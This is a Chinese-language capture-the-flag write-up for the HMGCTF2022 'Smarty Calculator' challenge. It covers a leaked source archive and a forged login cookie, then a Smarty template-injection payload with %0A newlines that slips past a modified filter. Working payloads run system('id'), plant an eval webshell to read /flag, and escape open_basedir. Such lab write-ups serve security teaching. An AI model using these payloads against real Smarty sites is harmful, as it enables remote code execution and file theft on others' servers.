[HMGCTF2022]Smarty Calculator

image-20241122202338119进入页面,随便输入一个字符,发现还未登录,没有提示就是文件泄露

www.zip,发现文件,泄露查看源码:

1
2
3
4
5
6
7
8
9
if(isset($_POST['data'])){
if(isset($_COOKIE['login'])) {
$data = waf($_POST['data']);
echo "<div style='width:100%;text-align:center'><h5>Only smarty people can use calculators:<h5><br>";
$smarty->display("string:" . $data);
}else{
echo "<script>alert(\"你还没有登录\")</script>";
}
}

这个要求cookie有个login变量

随便加个就行:

1
Cookie:login=123

登录后就可以计算了

smarty模板的判别(返回版本号)

1
{$smarty.version}

image-20241122203414983

在网上找一下有没有这个版本的poc:

image-20241122210908346

1
{function+name='rce(){};system("id");function+'}{/function}

但是没有回显,那就是修改了代码,可以自己使用beyond compare4对比一下本来的脚本:

1
https://github.com/smarty-php/smarty/releases/tag/v3.1.39

image-20241122211039173

image-20241122211049314

发现这个过滤的代码被修改了

我们来分析一下这个正则匹配的差异,在题目给出的源码中,将!去掉,表示匹配成功即进入error;
然后a-zA-Z0-9_\x80-\xff这些包含了正常的大小写字母,数字,下划线以及不可显字符;
而后面的(.)+中,.匹配除了换行符以外的所有字符,匹配0次或者多次,+匹配一次或者多次

1
2
3
4
if (preg_match('/[a-zA-Z0-9_\x80-\xff](.*)+$/', $_name)) {
$compiler->trigger_template_error("Function name contains invalid characters: {$_name}", null, true);
}

所以可以换行绕过,%0A既不在前面的[]匹配里面,又不被后面的.匹配

所以我们只需要在原来的poc基础上,加上回车绕过,即可执行(我这里用了两个回车进行绕过)

1
data={function+name='rce(){};system("id");function%0A%0A'}{/function}

获取id

再是获取flag

1
data={function+name='rce(){};@eval($_POST[1]);function%0A%0A'}{/function}&1=var_dump(file_get_contents('/flag'));

若是限制open_basedir目录

1
data={function+name='rce(){};system("id");@eval($_POST[1]);function%0A%0A'}{/function}&1=mkdir('sk1y');chdir('sk1y');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(file_get_contents('/flag'));

image-20241122215246701

获取flag

参考链接:https://blog.csdn.net/RABCDXB/article/details/123750375